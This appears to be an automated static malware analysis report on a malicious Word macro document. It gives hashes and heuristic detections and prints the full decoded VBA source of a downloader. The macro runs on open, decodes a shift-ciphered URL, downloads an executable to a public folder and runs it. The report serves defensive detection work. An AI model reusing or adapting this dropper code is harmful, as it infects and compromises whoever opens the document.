Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 1ba91c28c3fdf7bd…

MALICIOUS

Office (OLE)

35.5 KB Created: 2018-04-03 19:24:00 Authoring application: Microsoft Office Word First seen: 2018-05-08
MD5: 89cec6573f0338d8bdad99f73b7038a3 SHA-1: 2ac5416fb2620de95cf9b337782abbb60c91244d SHA-256: 1ba91c28c3fdf7bd01c29979651e973d671fd28ce81d004b861a7ff9f4083372
330 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer

The VBA macro contains critical firings indicating it downloads and executes a file, specifically using WScript.Shell and CreateObject. The script attempts to download a file from the obfuscated URL 'iuuq;00difdltibsjohgjmft/hr0dijlb0Pggfs!3:4956bqsjm/fyf' and save it as 'C:\Users\Public\Pffers\April.exe' in the user's public directory. This indicates a downloader functionality.

Heuristics 9

  • ClamAV: Xls.Downloader.Generic-6839042-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Downloader.Generic-6839042-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    NEFPEGNSDJDWKVUIZIBDQDJGONYJVSQVEMWQUHESTKUWBVLQQPSEHKZGGOPRNZHEVMNXMOVTLRFFSWDQBQCLXLROWOZRX = CreateObject("WScript.Shell").Specialfolders(7) + JWPXZBWJXNFDWHDXFKCBUOCNTBRZSUICBXHFQCNQOUWEOPTYVLSCMVSNDIIHKCYDRXXGIJFRYVNEFPEGNSDJDWKVUIZIBDQDJG
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
    RMCZZYCUQUJWPXZBWJXNFDWHDXFKCBUOCNTBRZSUICBXHFQCNQOUWEOPTYVLSCMVSNDIIHKCYDRXXGIJF = XXGIJFRYVNEFPEGNSDJDWKVUIZIBDQDJGONYJVSQVEMWQUHESTKUWBVLQQPSEHKZGGOPRNZHEVMNXMOVTLRFFSWDQBQCLX.responseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set XFKCBUOCNTBRZSUICBXHFQCNQOUWEOPTYVLSCMVSNDIIHKCYDRXXGIJFRYVNEFPEGNSDJDWKVUIZIBDQDJGONYJVSQVEMWQ = CreateObject("Shell.Application")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Private Sub Workbook_open()
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4857 bytes
SHA-256: 99a23c3fba0f83f671fc2a6dee07cd9b7af6152dbb569d1a233950c32672448d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Workbook_open()
Set XFKCBUOCNTBRZSUICBXHFQCNQOUWEOPTYVLSCMVSNDIIHKCYDRXXGIJFRYVNEFPEGNSDJDWKVUIZIBDQDJGONYJVSQVEMWQ = CreateObject("Shell.Application")
Set XXGIJFRYVNEFPEGNSDJDWKVUIZIBDQDJGONYJVSQVEMWQUHESTKUWBVLQQPSEHKZGGOPRNZHEVMNXMOVTLRFFSWDQBQCLX = CreateObject("microsoft.xmlhttp")
Set OWOZRXZYEMTXYDPMBCSVFJETRRQTMPSBOOWRSOBPFEUPYUPWCTTMMBFLYJYKTZTSPYWIZFIGMUVGHLXODKBENRMCZZYCUQU = CreateObject("adodb.stream")
JWPXZBWJXNFDWHDXFKCBUOCNTBRZSUICBXHFQCNQOUWEOPTYVLSCMVSNDIIHKCYDRXXGIJFRYVNEFPEGNSDJDWKVUIZIBDQDJG = LYJYKTZTSPYWIZFIGMUVGHLXODKBENRMCZZYCUQUJWPXZBWJXNFDWHDXFKCBUOCNTBRZSUICBXHFQCNQOUWEOPTYVL("]TRMWR/fyf")
RYVNEFPEGNSDJDWKVUIZIBDQDJGONYJVSQVEMWQUHESTKUWBVLQQPSEHKZGGOPRNZHEVMNXMOVTLRFFSWDQBQCLXLR = LYJYKTZTSPYWIZFIGMUVGHLXODKBENRMCZZYCUQUJWPXZBWJXNFDWHDXFKCBUOCNTBRZSUICBXHFQCNQOUWEOPTYVL("iuuq;00difdltibsjohgjmft/hr0dijlb0Pggfs!3:4956bqsjm/fyf")

NEFPEGNSDJDWKVUIZIBDQDJGONYJVSQVEMWQUHESTKUWBVLQQPSEHKZGGOPRNZHEVMNXMOVTLRFFSWDQBQCLXLROWOZRX = CreateObject("WScript.Shell").Specialfolders(7) + JWPXZBWJXNFDWHDXFKCBUOCNTBRZSUICBXHFQCNQOUWEOPTYVLSCMVSNDIIHKCYDRXXGIJFRYVNEFPEGNSDJDWKVUIZIBDQDJG
XXGIJFRYVNEFPEGNSDJDWKVUIZIBDQDJGONYJVSQVEMWQUHESTKUWBVLQQPSEHKZGGOPRNZHEVMNXMOVTLRFFSWDQBQCLX.Open "GET", RYVNEFPEGNSDJDWKVUIZIBDQDJGONYJVSQVEMWQUHESTKUWBVLQQPSEHKZGGOPRNZHEVMNXMOVTLRFFSWDQBQCLXLR, False
XXGIJFRYVNEFPEGNSDJDWKVUIZIBDQDJGONYJVSQVEMWQUHESTKUWBVLQQPSEHKZGGOPRNZHEVMNXMOVTLRFFSWDQBQCLX.send
RMCZZYCUQUJWPXZBWJXNFDWHDXFKCBUOCNTBRZSUICBXHFQCNQOUWEOPTYVLSCMVSNDIIHKCYDRXXGIJF = XXGIJFRYVNEFPEGNSDJDWKVUIZIBDQDJGONYJVSQVEMWQUHESTKUWBVLQQPSEHKZGGOPRNZHEVMNXMOVTLRFFSWDQBQCLX.responseBody
If XXGIJFRYVNEFPEGNSDJDWKVUIZIBDQDJGONYJVSQVEMWQUHESTKUWBVLQQPSEHKZGGOPRNZHEVMNXMOVTLRFFSWDQBQCLX.Status = 200 Then
OWOZRXZYEMTXYDPMBCSVFJETRRQTMPSBOOWRSOBPFEUPYUPWCTTMMBFLYJYKTZTSPYWIZFIGMUVGHLXODKBENRMCZZYCUQU.Open
OWOZRXZYEMTXYDPMBCSVFJETRRQTMPSBOOWRSOBPFEUPYUPWCTTMMBFLYJYKTZTSPYWIZFIGMUVGHLXODKBENRMCZZYCUQU.Type = 1
OWOZRXZYEMTXYDPMBCSVFJETRRQTMPSBOOWRSOBPFEUPYUPWCTTMMBFLYJYKTZTSPYWIZFIGMUVGHLXODKBENRMCZZYCUQU.Write RMCZZYCUQUJWPXZBWJXNFDWHDXFKCBUOCNTBRZSUICBXHFQCNQOUWEOPTYVLSCMVSNDIIHKCYDRXXGIJF
OWOZRXZYEMTXYDPMBCSVFJETRRQTMPSBOOWRSOBPFEUPYUPWCTTMMBFLYJYKTZTSPYWIZFIGMUVGHLXODKBENRMCZZYCUQU.SaveToFile NEFPEGNSDJDWKVUIZIBDQDJGONYJVSQVEMWQUHESTKUWBVLQQPSEHKZGGOPRNZHEVMNXMOVTLRFFSWDQBQCLXLROWOZRX, 2
OWOZRXZYEMTXYDPMBCSVFJETRRQTMPSBOOWRSOBPFEUPYUPWCTTMMBFLYJYKTZTSPYWIZFIGMUVGHLXODKBENRMCZZYCUQU.Close
End If
XFKCBUOCNTBRZSUICBXHFQCNQOUWEOPTYVLSCMVSNDIIHKCYDRXXGIJFRYVNEFPEGNSDJDWKVUIZIBDQDJGONYJVSQVEMWQ.Open (NEFPEGNSDJDWKVUIZIBDQDJGONYJVSQVEMWQUHESTKUWBVLQQPSEHKZGGOPRNZHEVMNXMOVTLRFFSWDQBQCLXLROWOZRX)


End Sub

Function LYJYKTZTSPYWIZFIGMUVGHLXODKBENRMCZZYCUQUJWPXZBWJXNFDWHDXFKCBUOCNTBRZSUICBXHFQCNQOUWEOPTYVL(SCMVSNDIIHKCYDRXXGIJFRYVNEFPEGNSDJDWKVUIZIBDQDJGONYJVSQVEMWQUHESTKUWBVLQQPSEHKZGG)
WHDXFKCBUOCNTBRZSUICBXHFQCNQOUWEOPTYVLSCMVSNDIIHKCYDRXXGIJFRYVNEFPEGNSDJDWKVUIZIBDQDJ = 10 - 9
        ZYEMTXYDPMBCSVFJETRRQTMPSBOOWRSOBPFEUPYUPWCTTMMBFLYJYKTZTSPYWIZFIGMUVGHLXODKBENRMCZZYCUQU = ""
    For JWPXZBWJXNFDWHDXFKCBUOCNTBRZSUICBXHFQCNQOUWEOPTYVLSCMVSNDIIHKCYDRXXGIJFRYVNEFPEGNSDJDWKVU = WHDXFKCBUOCNTBRZSUICBXHFQCNQOUWEOPTYVLSCMVSNDIIHKCYDRXXGIJFRYVNEFPEGNSDJDWKVUIZIBDQDJ To Len(SCMVSNDIIHKCYDRXXGIJFRYVNEFPEGNSDJDWKVUIZIBDQDJGONYJVSQVEMWQUHESTKUWBVLQQPSEHKZGG)
        ETRRQTMPSBOOWRSOBPFEUPYUPWCTTMMBFLYJYKTZTSPYWIZFIGMUVGHLXODKBENRMCZZYCUQUJWPXZBWJXNFD = Asc(Mid(SCMVSNDIIHKCYDRXXGIJFRYVNEFPEGNSDJDWKVUIZIBDQDJGONYJVSQVEMWQUHESTKUWBVLQQPSEHKZGG, JWPXZBWJXNFDWHDXFKCBUOCNTBRZSUICBXHFQCNQOUWEOPTYVLSCMVSNDIIHKCYDRXXGIJFRYVNEFPEGNSDJDWKVU, WHDXFKCBUOCNTBRZSUICBXHFQCNQOUWEOPTYVLSCMVSNDIIHKCYDRXXGIJFRYVNEFPEGNSDJDWKVUIZIBDQDJ))

            IZIBDQDJGONYJVSQVEMWQUHESTKUWBVLQQPSEHKZGGOPRNZHEVMNXMOVTLRFFSWDQBQCLXLROWOZRXZYEMTXYDPMBCSVFJ = ETRRQTMPSBOOWRSOBPFEUPYUPWCTTMMBFLYJYKTZTSPYWIZFIGMUVGHLXODKBENRMCZZYCUQUJWPXZBWJXNFD - WHDXFKCBUOCNTBRZSUICBXHFQCNQOUWEOPTYVLSCMVSNDIIHKCYDRXXGIJFRYVNEFPEGNSDJDWKVUIZIBDQDJ
        ZYEMTXYDPMBCSVFJETRRQTMPSBOOWRSOBPFEUPYUPWCTTMMBFLYJYKTZTSPYWIZFIGMUVGHLXODKBENRMCZZYCUQU = ZYEMTXYDPMBCSVFJETRRQTMPSBOOWRSOBPFEUPYUPWCTTMMBFLYJYKTZTSPYWIZFIGMUVGHLXODKBENRMCZZYCUQU & Chr(IZIBDQDJGONYJVSQVEMWQUHESTKUWBVLQQPSEHKZGGOPRNZHEVMNXMOVTLRFFSWDQBQCLXLROWOZRXZYEMTXYDPMBCSVFJ)
    Next
    LYJYKTZTSPYWIZFIGMUVGHLXODKBENRMCZZYCUQUJWPXZBWJXNFDWHDXFKCBUOCNTBRZSUICBXHFQCNQOUWEOPTYVL = ZYEMTXYDPMBCSVFJETRRQTMPSBOOWRSOBPFEUPYUPWCTTMMBFLYJYKTZTSPYWIZFIGMUVGHLXODKBENRMCZZYCUQU
End Function

Attribute VB_Name = "NewMacros"
Sub nice()
'
' nice Macro
'
'

End Sub

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